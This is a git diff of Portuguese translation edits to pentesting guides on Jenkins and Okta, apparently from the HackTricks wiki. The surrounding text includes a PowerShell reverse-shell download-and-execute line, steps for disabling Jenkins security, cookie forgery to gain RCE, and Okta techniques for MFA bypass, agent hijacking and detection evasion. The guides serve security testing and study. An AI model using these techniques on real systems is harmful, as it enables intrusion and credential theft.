+Esses arquivos são necessários para **decriptar segredos do Jenkins**:
 
 - secrets/master.key
 - secrets/hudson.util.Secret
@@ -365,12 +365,12 @@ println(hudson.util.Secret.decrypt("{...}"))
 ```
 ### Criar novo usuário administrador
 
-1. Acesse o arquivo Jenkins config.xml em `/var/lib/jenkins/config.xml` ou `C:\Program Files (x86)\Jenkis\`
+1. Acesse o arquivo config.xml do Jenkins em `/var/lib/jenkins/config.xml` ou `C:\Program Files (x86)\Jenkis\`
 2. Procure a palavra `<useSecurity>true</useSecurity>` e mude a palavra **`true`** para **`false`**.
 1. `sed -i -e 's/<useSecurity>true</<useSecurity>false</g' config.xml`
-3. **Reinicie** o **servidor Jenkins**: `service jenkins restart`
-4. Agora vá para o portal Jenkins novamente e **Jenkins não pedirá nenhuma credencial** desta vez. Você navega até "**Gerenciar Jenkins**" para definir a **senha do administrador novamente**.
-5. **Ative** a **segurança** novamente mudando as configurações para `<useSecurity>true</useSecurity>` e **reinicie o Jenkins novamente**.
+3. **Reinicie** o servidor **Jenkins**: `service jenkins restart`
+4. Agora vá para o portal do Jenkins novamente e **Jenkins não pedirá credenciais** desta vez. Navegue até "**Gerenciar Jenkins**" para definir a **senha do administrador novamente**.
+5. **Ative** a **segurança** novamente alterando as configurações para `<useSecurity>true</useSecurity>` e **reinicie o Jenkins novamente**.
 
 ## Referências
 
diff --git a/src/pentesting-ci-cd/jenkins-security/basic-jenkins-information.md b/src/pentesting-ci-cd/jenkins-security/basic-jenkins-information.md
index 1e0427003..6f8153195 100644
--- a/src/pentesting-ci-cd/jenkins-security/basic-jenkins-information.md
+++ b/src/pentesting-ci-cd/jenkins-security/basic-jenkins-information.md
@@ -29,20 +29,20 @@ Este componente fornece um servidor SSH embutido para o Jenkins. É uma interfac
 Em `/configureSecurity` é possível **configurar o método de autorização do Jenkins**. Existem várias opções:
 
 - **Qualquer um pode fazer qualquer coisa**: Até o acesso anônimo pode administrar o servidor.
-- **Modo legado**: Mesmo que o Jenkins <1.164. Se você tiver o **papel "admin"**, terá **controle total** sobre o sistema, e **caso contrário** (incluindo usuários **anônimos**) você terá acesso **somente leitura**.
-- **Usuários logados podem fazer qualquer coisa**: Neste modo, cada **usuário logado tem controle total** do Jenkins. O único usuário que não terá controle total é o **usuário anônimo**, que terá apenas **acesso de leitura**.
-- **Segurança baseada em matriz**: Você pode configurar **quem pode fazer o quê** em uma tabela. Cada **coluna** representa uma **permissão**. Cada **linha** **representa** um **usuário ou um grupo/papel.** Isso inclui um usuário especial '**anônimo**', que representa **usuários não autenticados**, bem como '**autenticado**', que representa **todos os usuários autenticados**.
+- **Modo legado**: Mesmo que o Jenkins <1.164. Se você tiver a **função "admin"**, terá **controle total** sobre o sistema, e **caso contrário** (incluindo usuários **anônimos**) você terá acesso **somente leitura**.
+- **Usuários logados podem fazer qualquer coisa**: Neste modo, cada **usuário logado tem controle total** do Jenkins. O único usuário que não terá controle total é o **usuário anônimo**, que terá **acesso somente leitura**.
+- **Segurança baseada em matriz**: Você pode configurar **quem pode fazer o quê** em uma tabela. Cada **coluna** representa uma **permissão**. Cada **linha** **representa** um **usuário ou um grupo/função.** Isso inclui um usuário especial '**anônimo**', que representa **usuários não autenticados**, bem como '**autenticado**', que representa **todos os usuários autenticados**.
 
 ![](<../../images/image (149).png>)
 
 - **Estratégia de Autorização Baseada em Projeto:** Este modo é uma **extensão** da "**segurança baseada em matriz**" que permite que uma matriz ACL adicional seja **definida para cada projeto separadamente.**
-- **Estratégia Baseada em Papéis:** Permite definir autorizações usando uma **estratégia baseada em papéis**. Gerencie os papéis em `/role-strategy`.
+- **Estratégia Baseada em Função:** Permite definir autorizações usando uma **estratégia baseada em função**. Gerencie as funções em `/role-strategy`.
 
 ## **Reino de Segurança**
 
 Em `/configureSecurity` é possível **configurar o reino de segurança.** Por padrão, o Jenkins inclui suporte para alguns Reinos de Segurança diferentes:
 
-- **Delegar ao contêiner de servlet**: Para **delegar a autenticação a um contêiner de servlet que executa o controlador Jenkins**, como [Jetty](https://www.eclipse.org/jetty/).
+- **Delegar para o contêiner de servlet**: Para **delegar a autenticação a um contêiner de servlet que executa o controlador Jenkins**, como [Jetty](https://www.eclipse.org/jetty/).
 - **Banco de dados de usuários do Jenkins:** Use **o próprio armazenamento de dados de usuários embutido do Jenkins** para autenticação em vez de delegar a um sistema externo. Isso é habilitado por padrão.
 - **LDAP**: Delegar toda a autenticação a um servidor LDAP configurado, incluindo usuários e grupos.
 - **Banco de dados de usuários/grupos Unix**: **Delegar a autenticação ao banco de dados de usuários** do sistema operacional Unix subjacente no controlador Jenkins. Este modo também permitirá a reutilização de grupos Unix para autorização.
@@ -57,7 +57,7 @@ Plugins podem fornecer reinos de segurança adicionais que podem ser úteis para
 
 Definições das [docs](https://www.jenkins.io/doc/book/managing/nodes/):
 
-**Nós** são as **máquinas** nas quais os **agentes de construção** são executados. O Jenkins monitora cada nó conectado em relação ao espaço em disco, espaço temporário livre, swap livre, tempo/sincronização do relógio e tempo de resposta. Um nó é desconectado se qualquer um desses valores ultrapassar o limite configurado.
+**Nós** são as **máquinas** nas quais os **agentes de construção** são executados. O Jenkins monitora cada nó conectado em relação ao espaço em disco, espaço temporário livre, swap livre, hora/sincronização do relógio e tempo de resposta. Um nó é desconectado se qualquer um desses valores ultrapassar o limite configurado.
 
 **Agentes** **gerenciam** a **execução de tarefas** em nome do controlador Jenkins **usando executores**. Um agente pode usar qualquer sistema operacional que suporte Java. Ferramentas necessárias para construções e testes são instaladas no nó onde o agente é executado; elas podem **ser instaladas diretamente ou em um contêiner** (Docker ou Kubernetes). Cada **agente é efetivamente um processo com seu próprio PID** na máquina host.
 
@@ -67,7 +67,7 @@ Um **executor** é um **slot para execução de tarefas**; efetivamente, é **um
 
 ### Criptografia de Segredos e Credenciais
 
-Definição das [docs](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials): O Jenkins usa **AES para criptografar e proteger segredos**, credenciais e suas respectivas chaves de criptografia. Essas chaves de criptografia são armazenadas em `$JENKINS_HOME/secrets/` junto com a chave mestre usada para proteger essas chaves. Este diretório deve ser configurado para que apenas o usuário do sistema operacional sob o qual o controlador Jenkins está sendo executado tenha acesso de leitura e gravação a este diretório (ou seja, um valor `chmod` de `0700` ou usando atributos de arquivo apropriados). A **chave mestre** (às vezes referida como "chave de criptografia" em jargão criptográfico) é **armazenada \_não criptografada\_** no sistema de arquivos do controlador Jenkins em **`$JENKINS_HOME/secrets/master.key`**, o que não protege contra atacantes com acesso direto a esse arquivo. A maioria dos usuários e desenvolvedores usará essas chaves de criptografia indiretamente, seja através da API [Secret](https://javadoc.jenkins.io/byShortName/Secret) para criptografar dados secretos genéricos ou através da API de credenciais. Para os curiosos sobre criptografia, o Jenkins usa AES no modo de encadeamento de bloco de cifra (CBC) com preenchimento PKCS#5 e IVs aleatórios para criptografar instâncias de [CryptoConfidentialKey](https://javadoc.jenkins.io/byShortName/CryptoConfidentialKey) que são armazenadas em `$JENKINS_HOME/secrets/` com um nome de arquivo correspondente ao seu id de `CryptoConfidentialKey`. IDs de chave comuns incluem:
+Definição das [docs](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials): O Jenkins usa **AES para criptografar e proteger segredos**, credenciais e suas respectivas chaves de criptografia. Essas chaves de criptografia são armazenadas em `$JENKINS_HOME/secrets/` junto com a chave mestre usada para proteger essas chaves. Este diretório deve ser configurado para que apenas o usuário do sistema operacional sob o qual o controlador Jenkins está sendo executado tenha acesso de leitura e gravação a este diretório (ou seja, um valor `chmod` de `0700` ou usando atributos de arquivo apropriados). A **chave mestre** (às vezes referida como "chave de criptografia" em jargão criptográfico) é **armazenada \_não criptografada\_** no sistema de arquivos do controlador Jenkins em **`$JENKINS_HOME/secrets/master.key`** que não protege contra atacantes com acesso direto a esse arquivo. A maioria dos usuários e desenvolvedores usará essas chaves de criptografia indiretamente, seja através da API [Secret](https://javadoc.jenkins.io/byShortName/Secret) para criptografar dados secretos genéricos ou através da API de credenciais. Para os curiosos sobre criptografia, o Jenkins usa AES no modo de encadeamento de bloco de cifra (CBC) com preenchimento PKCS#5 e IVs aleatórios para criptografar instâncias de [CryptoConfidentialKey](https://javadoc.jenkins.io/byShortName/CryptoConfidentialKey) que são armazenadas em `$JENKINS_HOME/secrets/` com um nome de arquivo correspondente ao seu id de `CryptoConfidentialKey`. IDs de chave comuns incluem:
 
 - `hudson.util.Secret`: usado para segredos genéricos;
 - `com.cloudbees.plugins.credentials.SecretBytes.KEY`: usado para alguns tipos de credenciais;
@@ -77,7 +77,7 @@ Definição das [docs](https://www.jenkins.io/doc/developer/security/secrets/#en
 
 As credenciais podem ser **escopadas para provedores globais** (`/credentials/`) que podem ser acessados por qualquer projeto configurado, ou podem ser escopadas para **projetos específicos** (`/job/<project-name>/configure`) e, portanto, acessíveis apenas a partir do projeto específico.
 
-De acordo com [**as docs**](https://www.jenkins.io/blog/2019/02/21/credentials-masking/): As credenciais que estão em escopo são disponibilizadas para o pipeline sem limitação. Para **evitar exposição acidental no log de construção**, as credenciais são **mascaradas** da saída regular, de modo que uma invocação de `env` (Linux) ou `set` (Windows), ou programas que imprimem seu ambiente ou parâmetros **não as revelariam no log de construção** para usuários que não teriam acesso às credenciais.
+De acordo com [**as docs**](https://www.jenkins.io/blog/2019/02/21/credentials-masking/): Credenciais que estão em escopo são disponibilizadas para o pipeline sem limitações. Para **evitar exposição acidental no log de construção**, as credenciais são **mascaradas** da saída regular, de modo que uma invocação de `env` (Linux) ou `set` (Windows), ou programas que imprimem seu ambiente ou parâmetros **não as revelariam no log de construção** para usuários que não teriam acesso às credenciais.
 
 **É por isso que, para exfiltrar as credenciais, um atacante precisa, por exemplo, codificá-las em base64.**
 
diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-arbitrary-file-read-to-rce-via-remember-me.md b/src/pentesting-ci-cd/jenkins-security/jenkins-arbitrary-file-read-to-rce-via-remember-me.md
index b89ae371e..43a52eaa9 100644
--- a/src/pentesting-ci-cd/jenkins-security/jenkins-arbitrary-file-read-to-rce-via-remember-me.md
+++ b/src/pentesting-ci-cd/jenkins-security/jenkins-arbitrary-file-read-to-rce-via-remember-me.md
@@ -2,38 +2,38 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-Neste post do blog é possível encontrar uma ótima maneira de transformar uma vulnerabilidade de Inclusão de Arquivo Local no Jenkins em RCE: [https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/](https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/)
+Neste post do blog, é possível encontrar uma ótima maneira de transformar uma vulnerabilidade de Inclusão de Arquivo Local no Jenkins em RCE: [https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/](https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/)
 
-Este é um resumo criado por IA da parte do post onde a criação de um cookie arbitrário é abusada para obter RCE abusando de uma leitura de arquivo local até que eu tenha tempo para criar um resumo por conta própria:
+Este é um resumo criado por IA da parte do post onde a criação de um cookie arbitrário é abusada para obter RCE, explorando uma leitura de arquivo local até que eu tenha tempo para criar um resumo por conta própria:
 
-### Attack Prerequisites
+### Pré-requisitos do Ataque
 
-- **Feature Requirement:** "Lembre-se de mim" deve estar habilitado (configuração padrão).
-- **Access Levels:** O atacante precisa de permissões Gerais/Leitura.
-- **Secret Access:** Capacidade de ler tanto conteúdo binário quanto textual de arquivos-chave.
+- **Requisito de Funcionalidade:** "Lembre-se de mim" deve estar ativado (configuração padrão).
+- **Níveis de Acesso:** O atacante precisa de permissões Gerais/Leitura.
+- **Acesso Secreto:** Capacidade de ler tanto conteúdo binário quanto textual de arquivos-chave.
 
-### Detailed Exploitation Process
+### Processo Detalhado de Exploração
 
-#### Step 1: Data Collection
+#### Passo 1: Coleta de Dados
 
-**User Information Retrieval**
+**Recuperação de Informações do Usuário**
 
 - Acesse a configuração do usuário e segredos de `$JENKINS_HOME/users/*.xml` para cada usuário para coletar:
-- **Nome de usuário**
-- **Semente do usuário**
+- **Nome de Usuário**
+- **Semente do Usuário**
 - **Timestamp**
-- **Hash da senha**
+- **Hash da Senha**
 
-**Secret Key Extraction**
+**Extração da Chave Secreta**
 
 - Extraia chaves criptográficas usadas para assinar o cookie:
 - **Chave Secreta:** `$JENKINS_HOME/secret.key`
 - **Chave Mestra:** `$JENKINS_HOME/secrets/master.key`
 - **Arquivo da Chave MAC:** `$JENKINS_HOME/secrets/org.springframework.security.web.authentication.rememberme.TokenBasedRememberMeServices.mac`
 
-#### Step 2: Cookie Forging
+#### Passo 2: Forjamento de Cookie
 
-**Token Preparation**
+**Preparação do Token**
 
 - **Calcular Tempo de Expiração do Token:**
 
@@ -47,7 +47,7 @@ tokenExpiryTime = currentServerTimeInMillis() + 3600000 // Adiciona uma hora ao
 token = username + ":" + tokenExpiryTime + ":" + userSeed + ":" + secretKey
 ```
 
-**MAC Key Decryption**
+**Descriptografia da Chave MAC**
 
 - **Descriptografar o Arquivo da Chave MAC:**
 
@@ -59,7 +59,7 @@ return ERROR;
 macKey = decrypted.withoutSuffix("::::MAGIC::::")
 ```
 
-**Signature Computation**
+**Cálculo da Assinatura**
 
 - **Calcular HMAC SHA256:**
 
@@ -68,7 +68,7 @@ mac = HmacSHA256(token, macKey) // Calcular HMAC usando o token e a chave MAC
 tokenSignature = bytesToHexString(mac) // Converter o MAC para uma string hexadecimal
 ```
 
-**Cookie Encoding**
+**Codificação do Cookie**
 
 - **Gerar Cookie Final:**
 
@@ -78,15 +78,15 @@ username + ":" + tokenExpiryTime + ":" + tokenSignature
 ) // Codificar os dados do cookie em Base64
 ```
 
-#### Step 3: Code Execution
+#### Passo 3: Execução de Código
 
-**Session Authentication**
+**Autenticação de Sessão**
 
 - **Buscar Tokens CSRF e de Sessão:**
 - Faça uma solicitação para `/crumbIssuer/api/json` para obter `Jenkins-Crumb`.
 - Capture `JSESSIONID` da resposta, que será usado em conjunto com o cookie de lembrete.
 
-**Command Execution Request**
+**Solicitação de Execução de Comando**
 
 - **Enviar uma Solicitação POST com Script Groovy:**
 
diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md
index eba27e25d..79733c60e 100644
--- a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md
+++ b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md
@@ -7,9 +7,9 @@
 Este método é muito barulhento porque você tem que criar um projeto completamente novo (obviamente isso só funcionará se o usuário tiver permissão para criar um novo projeto).
 
 1. **Crie um novo projeto** (projeto Freestyle) clicando em "Novo Item" ou em `/view/all/newJob`
-2. Dentro da seção **Build**, defina **Executar shell** e cole um lançador do powershell Empire ou um powershell do meterpreter (pode ser obtido usando _unicorn_). Inicie o payload com _PowerShell.exe_ em vez de usar _powershell._
+2. Dentro da seção **Build**, defina **Execute shell** e cole um lançador do powershell Empire ou um powershell do meterpreter (pode ser obtido usando _unicorn_). Inicie o payload com _PowerShell.exe_ em vez de usar _powershell._
 3. Clique em **Build now**
-1. Se o botão **Build now** não aparecer, você ainda pode ir para **configurar** --> **Gatilhos de Build** --> `Build periodically` e definir um cron de `* * * * *`
+1. Se o botão **Build now** não aparecer, você ainda pode ir para **configure** --> **Build Triggers** --> `Build periodically` e definir um cron de `* * * * *`
 2. Em vez de usar cron, você pode usar a configuração "**Trigger builds remotely**" onde você só precisa definir o nome do token da API para acionar o trabalho. Em seguida, vá para o seu perfil de usuário e **gere um token da API** (chame este token da API como você chamou o token da API para acionar o trabalho). Finalmente, acione o trabalho com: **`curl <username>:<api_token>@<jenkins_url>/job/<job_name>/build?token=<api_token_name>`**
 
 ![](<../../images/image (165).png>)
@@ -26,11 +26,11 @@ Ou **tente acessar o caminho** `/job/<proj-name>/configure` ou `/me/my-views/vie
 
 ## Execução
 
-Se você tiver permissão para configurar o projeto, você pode **fazer com que ele execute comandos quando um build for bem-sucedido**:
+Se você tiver permissão para configurar o projeto, você pode **fazer com que ele execute comandos quando uma build for bem-sucedida**:
 
 ![](<../../images/image (98).png>)
 
 Clique em **Salvar** e **construa** o projeto e seu **comando será executado**.\
-Se você não estiver executando um shell reverso, mas um comando simples, você pode **ver a saída do comando dentro da saída do build**.
+Se você não estiver executando um shell reverso, mas um comando simples, você pode **ver a saída do comando dentro da saída da build**.
 
 {{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md
index ef5f86ea9..7beaae9fe 100644
--- a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md
+++ b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md
@@ -36,7 +36,7 @@ println "out> $sout err> $serr"
 ```
 ### Reverse shell no Windows
 
-Você pode preparar um servidor HTTP com um PS reverse shell e usar o Jeking para baixá-lo e executá-lo:
+Você pode preparar um servidor HTTP com um PS reverse shell e usar Jeking para baixá-lo e executá-lo:
 ```python
 scriptblock="iex (New-Object Net.WebClient).DownloadString('http://192.168.252.1:8000/payload')"
 echo $scriptblock | iconv --to-code UTF-16LE | base64 -w 0
diff --git a/src/pentesting-ci-cd/okta-security/README.md b/src/pentesting-ci-cd/okta-security/README.md
index 0a05cf4be..32a64e028 100644
--- a/src/pentesting-ci-cd/okta-security/README.md
+++ b/src/pentesting-ci-cd/okta-security/README.md
@@ -2,7 +2,7 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-## Basic Information
+## Informações Básicas
 
 [Okta, Inc.](https://www.okta.com/) é reconhecida no setor de gerenciamento de identidade e acesso por suas soluções de software baseadas em nuvem. Essas soluções são projetadas para simplificar e proteger a autenticação de usuários em várias aplicações modernas. Elas atendem não apenas a empresas que buscam proteger seus dados sensíveis, mas também a desenvolvedores interessados em integrar controles de identidade em aplicações, serviços web e dispositivos.
 
@@ -10,19 +10,19 @@ A oferta principal da Okta é a **Okta Identity Cloud**. Esta plataforma abrange
 
 - **Single Sign-On (SSO)**: Simplifica o acesso do usuário permitindo um conjunto de credenciais de login em várias aplicações.
 - **Multi-Factor Authentication (MFA)**: Aumenta a segurança exigindo múltiplas formas de verificação.
-- **Lifecycle Management**: Automatiza os processos de criação, atualização e desativação de contas de usuário.
+- **Lifecycle Management**: Automatiza a criação, atualização e desativação de contas de usuário.
 - **Universal Directory**: Permite o gerenciamento centralizado de usuários, grupos e dispositivos.
 - **API Access Management**: Protege e gerencia o acesso às APIs.
 
 Esses serviços visam coletivamente fortalecer a proteção de dados e simplificar o acesso do usuário, melhorando tanto a segurança quanto a conveniência. A versatilidade das soluções da Okta as torna uma escolha popular em várias indústrias, beneficiando grandes empresas, pequenas empresas e desenvolvedores individuais. Até a última atualização em setembro de 2021, a Okta é reconhecida como uma entidade proeminente na área de Gerenciamento de Identidade e Acesso (IAM).
 
 > [!CAUTION]
-> O principal objetivo da Okta é configurar o acesso a diferentes usuários e grupos para aplicações externas. Se você conseguir **comprometer privilégios de administrador em um ambiente Okta**, você provavelmente será capaz de **comprometer todas as outras plataformas que a empresa está usando**.
+> O principal objetivo da Okta é configurar o acesso a diferentes usuários e grupos para aplicações externas. Se você conseguir **comprometer privilégios de administrador em um ambiente Okta**, você provavelmente conseguirá **comprometer todas as outras plataformas que a empresa está usando**.
 
 > [!TIP]
 > Para realizar uma revisão de segurança de um ambiente Okta, você deve solicitar **acesso somente leitura de administrador**.
 
-### Summary
+### Resumo
 
 Existem **usuários** (que podem ser **armazenados na Okta,** logados de **Provedores de Identidade** configurados ou autenticados via **Active Directory** ou LDAP).\
 Esses usuários podem estar dentro de **grupos**.\
@@ -35,47 +35,43 @@ Então, existem **aplicações** sincronizadas com a Okta. Cada aplicação ter
 >
 > Se um atacante comprometer a Okta com acesso de Administrador, todos os **apps que confiam na Okta** provavelmente estarão **comprometidos**.
 
-## Attacks
+## Ataques
 
-### Locating Okta Portal
+### Localizando o Portal Okta
 
 Geralmente, o portal de uma empresa estará localizado em **companyname.okta.com**. Se não, tente variações simples de **companyname.** Se você não conseguir encontrá-lo, também é possível que a organização tenha um registro **CNAME** como **`okta.companyname.com`** apontando para o **portal Okta**.
 
-### Login in Okta via Kerberos
+### Login na Okta via Kerberos
 
-Se **`companyname.kerberos.okta.com`** estiver ativo, **Kerberos é usado para acesso à Okta**, geralmente contornando **MFA** para usuários **Windows**. Para encontrar usuários Okta autenticados por Kerberos no AD, execute **`getST.py`** com **parâmetros apropriados**. Após obter um **ticket de usuário AD**, **injete**-o em um host controlado usando ferramentas como Rubeus ou Mimikatz, garantindo que **`clientname.kerberos.okta.com` esteja na zona "Intranet" das Opções de Internet**. Acessar uma URL específica deve retornar uma resposta JSON "OK", indicando a aceitação do ticket Kerberos e concedendo acesso ao painel da Okta.
+Se **`companyname.kerberos.okta.com`** estiver ativo, **Kerberos é usado para acesso à Okta**, geralmente contornando **MFA** para usuários **Windows**. Para encontrar usuários Okta autenticados por Kerberos no AD, execute **`getST.py`** com **parâmetros apropriados**. Após obter um **ticket de usuário AD**, **injete**-o em um host controlado usando ferramentas como Rubeus ou Mimikatz, garantindo que **`clientname.kerberos.okta.com` esteja na zona "Intranet" das Opções da Internet**. Acessar uma URL específica deve retornar uma resposta JSON "OK", indicando a aceitação do ticket Kerberos e concedendo acesso ao painel da Okta.
 
 Comprometer a **conta de serviço Okta com o SPN de delegação permite um ataque de Silver Ticket.** No entanto, o uso de **AES** pela Okta para criptografia de tickets requer possuir a chave AES ou a senha em texto claro. Use **`ticketer.py` para gerar um ticket para o usuário vítima** e entregá-lo via navegador para autenticar com a Okta.
 
 **Verifique o ataque em** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
 
-### Hijacking Okta AD Agent
+### Sequestro do Agente AD da Okta
 
-Esta técnica envolve **acessar o Okta AD Agent em um servidor**, que **sincroniza usuários e lida com autenticação**. Ao examinar e descriptografar configurações em **`OktaAgentService.exe.config`**, notavelmente o AgentToken usando **DPAPI**, um atacante pode potencialmente **interceptar e manipular dados de autenticação**. Isso permite não apenas **monitorar** e **capturar credenciais de usuário** em texto claro durante o processo de autenticação da Okta, mas também **responder a tentativas de autenticação**, permitindo assim acesso não autorizado ou fornecendo autenticação universal através da Okta (semelhante a uma 'chave mestra').
+Esta técnica envolve **acessar o Agente AD da Okta em um servidor**, que **sincroniza usuários e lida com autenticação**. Ao examinar e descriptografar configurações em **`OktaAgentService.exe.config`**, notavelmente o AgentToken usando **DPAPI**, um atacante pode potencialmente **interceptar e manipular dados de autenticação**. Isso permite não apenas **monitorar** e **capturar credenciais de usuário** em texto claro durante o processo de autenticação da Okta, mas também **responder a tentativas de autenticação**, permitindo assim acesso não autorizado ou fornecendo autenticação universal através da Okta (semelhante a uma 'chave mestra').
 
 **Verifique o ataque em** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
 
-### Hijacking AD As an Admin
+### Sequestro do AD como Administrador
 
-Esta técnica envolve sequestrar um Okta AD Agent obtendo primeiro um Código OAuth, e então solicitando um token de API. O token está associado a um domínio AD, e um **conector é nomeado para estabelecer um agente AD falso**. A inicialização permite que o agente **processe tentativas de autenticação**, capturando credenciais via API da Okta. Ferramentas de automação estão disponíveis para agilizar esse processo, oferecendo um método contínuo para interceptar e lidar com dados de autenticação dentro do ambiente Okta.
+Esta técnica envolve sequestrar um Agente AD da Okta obtendo primeiro um Código OAuth, e então solicitando um token de API. O token está associado a um domínio AD, e um **conector é nomeado para estabelecer um agente AD falso**. A inicialização permite que o agente **processe tentativas de autenticação**, capturando credenciais via API da Okta. Ferramentas de automação estão disponíveis para agilizar esse processo, oferecendo um método contínuo para interceptar e lidar com dados de autenticação dentro do ambiente Okta.
 
 **Verifique o ataque em** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
 
-### Okta Fake SAML Provider
+### Provedor SAML Falso da Okta
 
 **Verifique o ataque em** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
 
 A técnica envolve **implantar um provedor SAML falso**. Ao integrar um Provedor de Identidade (IdP) externo dentro da estrutura da Okta usando uma conta privilegiada, os atacantes podem **controlar o IdP, aprovando qualquer solicitação de autenticação à vontade**. O processo envolve configurar um IdP SAML 2.0 na Okta, manipulando a URL de Single Sign-On do IdP para redirecionamento via arquivo de hosts local, gerando um certificado autoassinado e configurando as configurações da Okta para corresponder ao nome de usuário ou email. Executar com sucesso esses passos permite autenticação como qualquer usuário da Okta, contornando a necessidade de credenciais individuais de usuário, elevando significativamente o controle de acesso de maneira potencialmente não percebida.
 
-### Phishing Okta Portal with Evilgnix
-
-Em [**este post do blog**](https://medium.com/nickvangilder/okta-for-red-teamers-perimeter-edition-c60cb8d53f23) é explicado como preparar uma campanha de phishing contra um portal Okta.
-
-### Colleague Impersonation Attack
+### Ataque de Impersonação de Colega
 
 Os **atributos que cada usuário pode ter e modificar** (como email ou primeiro nome) podem ser configurados na Okta. Se uma **aplicação** estiver **confiando** como ID um **atributo** que o usuário pode **modificar**, ele poderá **impersonar outros usuários nessa plataforma**.
 
-Portanto, se o app estiver confiando no campo **`userName`**, você provavelmente não conseguirá mudá-lo (porque geralmente não é possível alterar esse campo), mas se estiver confiando, por exemplo, em **`primaryEmail`**, você pode ser capaz de **mudá-lo para o endereço de email de um colega** e impersoná-lo (você precisará ter acesso ao email e aceitar a mudança).
+Portanto, se o app confiar no campo **`userName`**, você provavelmente não conseguirá mudá-lo (porque geralmente não é possível alterar esse campo), mas se confiar, por exemplo, em **`primaryEmail`**, você pode ser capaz de **mudá-lo para o endereço de email de um colega** e impersoná-lo (você precisará ter acesso ao email e aceitar a mudança).
 
 Note que essa impersonação depende de como cada aplicação foi configurada. Apenas aquelas que confiam no campo que você modificou e aceitam atualizações serão comprometidas.\
 Portanto, o app deve ter esse campo habilitado se existir:
@@ -86,19 +82,19 @@ Eu também vi outros apps que eram vulneráveis, mas não tinham esse campo nas
 
 A melhor maneira de descobrir se você poderia impersonar alguém em cada app seria tentar!
 
-## Evading behavioural detection policies <a href="#id-9fde" id="id-9fde"></a>
+## Evitando políticas de detecção comportamental <a href="#id-9fde" id="id-9fde"></a>
 
-As políticas de detecção comportamental na Okta podem ser desconhecidas até serem encontradas, mas **contorná-las** pode ser alcançado **direcionando aplicações Okta diretamente**, evitando o painel principal da Okta. Com um **token de acesso Okta**, reproduza o token na **URL específica da aplicação Okta** em vez da página principal de login.
+As políticas de detecção comportamental na Okta podem ser desconhecidas até serem encontradas, mas **contorná-las** pode ser alcançado **direcionando-se diretamente para as aplicações Okta**, evitando o painel principal da Okta. Com um **token de acesso Okta**, reproduza o token na **URL específica da aplicação Okta** em vez da página principal de login.
 
 As principais recomendações incluem:
 
-- **Evitar usar** proxies de anonimização populares e serviços de VPN ao reproduzir tokens de acesso capturados.
-- Garantir **strings de agente de usuário consistentes** entre o cliente e os tokens de acesso reproduzidos.
-- **Evitar reproduzir** tokens de diferentes usuários do mesmo endereço IP.
-- Ter cautela ao reproduzir tokens contra o painel da Okta.
+- **Evite usar** proxies de anonimização populares e serviços de VPN ao reproduzir tokens de acesso capturados.
+- Certifique-se de que **strings de agente de usuário consistentes** entre o cliente e os tokens de acesso reproduzidos.
+- **Evite reproduzir** tokens de diferentes usuários do mesmo endereço IP.
+- Tenha cautela ao reproduzir tokens contra o painel da Okta.
 - Se souber os endereços IP da empresa vítima, **restrinja o tráfego** para esses IPs ou seu intervalo, bloqueando todo o outro tráfego.
 
-## Okta Hardening
+## Fortalecimento da Okta
 
 A Okta tem muitas configurações possíveis, nesta página você encontrará como revisá-las para que sejam o mais seguras possível:
 
@@ -106,7 +102,7 @@ A Okta tem muitas configurações possíveis, nesta página você encontrará co
 okta-hardening.md
 {{#endref}}
 
-## References
+## Referências
 
 - [https://trustedsec.com/blog/okta-for-red-teamers](https://trustedsec.com/blog/okta-for-red-teamers)
 - [https://medium.com/nickvangilder/okta-for-red-teamers-perimeter-edition-c60cb8d53f23](https://medium.com/nickvangilder/okta-for-red-teamers-perimeter-edition-c60cb8d53f23)
diff --git a/src/pentesting-ci-cd/okta-security/okta-hardening.md b/src/pentesting-ci-cd/okta-security/okta-hardening.md
index f3519c6a8..160ccc431 100644
--- a/src/pentesting-ci-cd/okta-security/okta-hardening.md
+++ b/src/pentesting-ci-cd/okta-security/okta-hardening.md
@@ -17,7 +17,7 @@ Aqui é onde você encontra todos os grupos criados no Okta. É interessante ent
 
 Claro, qualquer grupo com o nome de **admin** é interessante, especialmente o grupo **Administradores Globais**, verifique os membros para saber quem são os membros mais privilegiados.
 
-De uma revisão de caixa branca, **não deve haver mais de 5 administradores globais** (melhor se houver apenas 2 ou 3).
+Em uma revisão de caixa branca, **não deve haver mais de 5 administradores globais** (melhor se houver apenas 2 ou 3).
 
 ### Devices
 
@@ -37,7 +37,7 @@ Eu não vi isso, mas imagino que seja interessante descobrir **outros diretório
 
 ### Profile Sources
 
-Uma fonte de perfil é uma **aplicação que atua como uma fonte de verdade** para atributos de perfil de usuário. Um usuário pode ser originado apenas por um único aplicativo ou diretório de cada vez.
+Uma fonte de perfil é uma **aplicação que atua como uma fonte de verdade** para atributos de perfil de usuário. Um usuário pode ser originado por apenas uma única aplicação ou diretório de cada vez.
 
 Eu não vi isso, então qualquer informação sobre segurança e hacking em relação a essa opção é apreciada.
 
@@ -65,7 +65,7 @@ Configuração interessante, mas nada super interessante do ponto de vista de se
 
 ### Applications
 
